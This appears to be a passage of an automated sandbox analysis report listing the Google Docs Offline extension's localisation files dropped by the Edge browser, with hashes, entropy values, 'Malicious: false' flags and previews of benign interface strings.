C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
